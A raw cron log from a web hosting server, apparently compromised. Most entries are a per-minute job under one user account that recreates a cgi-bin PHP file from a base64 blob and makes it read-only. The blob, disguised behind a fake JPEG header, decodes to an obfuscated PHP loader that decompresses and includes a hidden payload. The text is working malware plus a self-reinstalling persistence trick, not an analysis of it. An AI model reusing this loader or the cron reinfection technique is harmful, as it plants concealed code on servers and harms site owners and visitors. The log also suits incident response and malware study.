Nov 13 14:31:01 server CROND[10447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:32:01 server CROND[11351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:33:01 server CROND[12208]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:34:01 server CROND[13166]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:35:01 server CROND[14035]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:35:01 server CROND[14037]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 14:35:01 server CROND[14038]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 14:35:01 server CROND[14039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:35:01 server CROND[14051]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:36:01 server CROND[14956]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:37:01 server CROND[15816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:38:01 server CROND[16622]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:39:01 server CROND[17528]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 14:39:01 server CROND[17530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:40:01 server CROND[18367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:40:01 server CROND[18369]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 14:40:01 server CROND[18370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:40:01 server CROND[18368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:41:01 server CROND[19377]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:42:01 server CROND[20239]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:42:01 server CROND[20240]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 14:43:01 server CROND[21107]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
